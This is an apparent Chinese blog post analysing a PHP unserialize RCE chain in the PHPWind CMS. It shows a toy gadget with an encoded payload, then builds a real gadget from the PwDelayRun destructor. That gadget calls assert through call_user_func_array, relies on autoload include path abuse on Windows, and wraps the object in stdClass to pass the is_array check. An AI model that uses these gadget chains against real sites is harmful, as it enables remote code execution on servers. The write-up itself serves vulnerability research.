首页 > 编程语言 >PHP wind反序列化分析

PHP wind反序列化分析

时间:2024-06-11 20:13:09浏览次数:26  
标签:function __ PHP self private new 序列化 class wind

PHP WIND 是很久之前一款優秀的cms
PHP反序列化 是一種不斷利用php方法 最終調用到危險函數 從而getshell的方法
主要通過各類魔術方法 從而調用到危險函數
我們先來分析一個簡單的鏈條

反序列化小例

class Woniu {
    private $a;
    function __construct() {
        $this->a = new Test();
    }

    function __destruct() {
        $this->a->hello();
    }
}

class Test {
    function hello() {
        echo "Hello World.";
    }
}

class Vul {
    protected $data;

    function hello() {
        @eval($this->data);
    }



}

这条链触发的源一定是__wakeup() 而终点一定是通过vul类的hello方法来执行恶意代码:
只需要构造简单链:

class Woniu {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}

class Vul{
	 var $data='phpinfo();';
}
$ans=new Woniu();
echo urlencode(serialize($ans));

得到值O%3A5%3A"Woniu"%3A1%3A%7Bs%3A8%3A"%00Woniu%00a"%3BO%3A3%3A"Vul"%3A1%3A%7Bs%3A7%3A"%00%2A%00data"%3Bs%3A10%3A"phpinfo%28%29%3B"%3B%7D%7D

传入后
image
说明可以getshell

通过重构类 来达到执行恶意代码的目的

在phpwind中就存在这样的问题

phpwind源码分析

入手点当然是魔术方法
经寻找 存在以下类有危险函数以及魔术方法

class PwDelayRun {
	
	private static $instance = null;
	private $_callback = array();
	private $_args = array();

	private function __construct() {

	}

	public function __destruct() {
		foreach ($this->_callback as $key => $value) {
			call_user_func_array($value, $this->_args[$key]);
		}
	}
}

显然 该链较为简单 通过call_user_func_array()函数构造shell

但是在代码运行时 实际上并没有加载该类PwDelayRun
此时就需要对任意php文件进行包含
进过寻找找到函数:

	/**
	 * 初始化框架
	 */
	public static function init() {
		self::$isDebug = WIND_DEBUG;
		function_exists('date_default_timezone_set') && date_default_timezone_set('Etc/GMT+0');
		self::register(WIND_PATH, 'WIND', true);
		if (!self::$_isAutoLoad) return;
		if (function_exists('spl_autoload_register'))
			spl_autoload_register('Wind::autoLoad');
		else
			self::$_isAutoLoad = false;
		self::_loadBaseLib();
	}
# 其中spl_autoload_register函数将wind中的autoload函数进行了自动注册
	public static function autoLoad($className, $path = '') {
		if ($path)
			include $path . '.' . self::$_extensions;
		elseif (isset(self::$_classes[$className])) {
			include self::$_classes[$className] . '.' . self::$_extensions;
		} else
			include $className . '.' . self::$_extensions;
	}
#而autoload函数通过include对类进行了加载而很巧的是php命名空间允许\的出现
#于是构造利用链:(注意 由于\只在windows中可以作为路径使用 在linux中这一漏洞并不适用)
namespace src\library\utility
{
	class PwDelayRun{
	
	}
}
# 先对类进行加载
namespace {
	class PwDelayRun{
	private $_callback;
		private $_args;
		function __construct()
		{
        $this->_callback = [
			'assert'
        ];
        $this->_args = [
			["phpinfo();exit;"]
        ];
	}
}
# 进行对恶意函数的构造 然后序列化

但由于该代码对数组进行了判断 没能自动触发__destruct方法

public function beforeAction($handlerAdapter) {
		parent::beforeAction($handlerAdapter);
		$var = unserialize($this->getInput('var'));
		if (is_array($var)) {
			$this->setOutput($var, 'condition');
		}
		# 如果是数组 将输出定向到了output中可以使用对象模拟数组
$obj = new stdClass();
$obj->a =  new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}

最终得到payload

标签:function,__,PHP,self,private,new,序列化,class,wind
From: https://www.cnblogs.com/fr09/p/18241189

相关文章

  • wimlib API 提供了一系列用于处理 Windows 映像文件(.wim 文件)的函数和数据结构,使开发
    wimlibAPI提供了一系列用于处理Windows映像文件(.wim文件)的函数和数据结构,使开发人员能够在其应用程序中集成对WIM文件的创建、修改和提取功能。以下是一些常见的wimlibAPI:WIM文件的创建和初始化:wimlib_create_new_wim():创建一个新的WIM文件。wimlib_open_wim():......
  • DISM(Deployment Image Servicing and Management)和wimlib虽然都可以用来处理Windows映
    DISM(DeploymentImageServicingandManagement)和wimlib都是用于Windows系统的映像管理工具,它们可以用来处理Windows映像文件(.wim文件),但在功能和使用上有一些不同点。下面是它们的比较:DISM(DeploymentImageServicingandManagement)内置工具:DISM是Windows操作系统......
  • 《Windows核心编程》若干知识点实战应用分享
    目录1、进程的虚拟内存分区与小于0x10000的小地址内存区1.1、进程的虚拟内存分区1.2、小于0x10000的小地址内存区2、保存线程上下文的CONTEXT结构体3、从汇编代码角度去理解多线程运行过程的典型实例4、调用TerminateThread强制结束线程会导致线程中的资源没有释放的问题......
  • C# JavaScriptSerializer序列化时的时间处理详解
    原文链接:https://www.jb51.net/article/122143.htm输出如下图所示: 猜测这里是由于js初始化时间的时候往往是向1970/01/01添加毫秒数,JavaScriptSerializer进行序列化的时候也会格式化为距离1970/01/01到当该时间点GMT+0时间的毫秒数,如果直接反序列化可以看到少了8小时,且......
  • Linux系统通过CrossOver运行windows系统exe程序
    1.CrossOver下载下载网址:https://crossover.mairuan.com/?a_planid=462146305&a_unitid=9457631754&a_kw_enc_utf8=crossover+%E4%B8%8B%E8%BD%BD&a_creative=93751965498&cjtg=bdsem_cr_pp&bd_vid=11448931900093706309点击免费下载软件自动下载的安装包不是liunx需要的,需要下......
  • Windows共享文件夹常见问题解决方法
    目录你不能访问此共享文件夹,因为你组织的安全策略阻止未经身份验证的来宾访问允许自己电脑去访问局域网其他电脑的共享文件允许局域网内别人电脑访问自己电脑的共享文件你不能访问此共享文件夹,因为你组织的安全策略阻止未经身份验证的来宾访问参考:https://blog.csdn.net/qq28574......
  • Windows Server 2016有没有人代做
    1、指定服务器名为XXXX(XXXX为姓名拼音,如lisi),并配置IP地址(IP地址最后一个字节为YY,YY为学号后两位)。2、为了考虑数据的安全性和健壮性,做好数据安全防护,需要为服务器中存放数据的磁盘做RAID管理。为了提高数据的存取性能,需要为磁盘做RAID0管理,同时为了防止磁盘损坏后造成数据丢失......
  • 基于Vue+Node.js的高校学业预警系统+10551(免费领源码)可做计算机毕业设计JAVA、PHP、爬
    NodeJS高校学业预警系统摘 要随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,教育行业当然也不能排除在外。高校学业预警系统是以实际运用为开发背景,运用软件工程开发方法,采用Node.JS技术构建的一个管理系统。......
  • 禁用windows自动更新
    系统设置只能短时间内展厅Windows更新,停止服务或者修改注册表重启之后还是会被系统改回,那就让魔法打败魔法吧,创建个开机任务自动禁用。schtasks/create/sconstart/tn"stopwindowsupdate"/tr"netstopwuauserv"schtasks/create/sconstart/tn"disabledwindowsup......
  • 水印怎么去除?Windows 上的最佳水印软件
    我们都知道,任何水印软件都可以防止您的数字财产被盗。此外,水印是一种虚拟营销元素,可以帮助您推广您的作品。奇客水印管家是Internet上适用于Windows7、8、10和11的最高效的水印软件。此外,它还允许用户通过添加或删除水印来编辑照片或视频上的水印。此外,该软件是一个......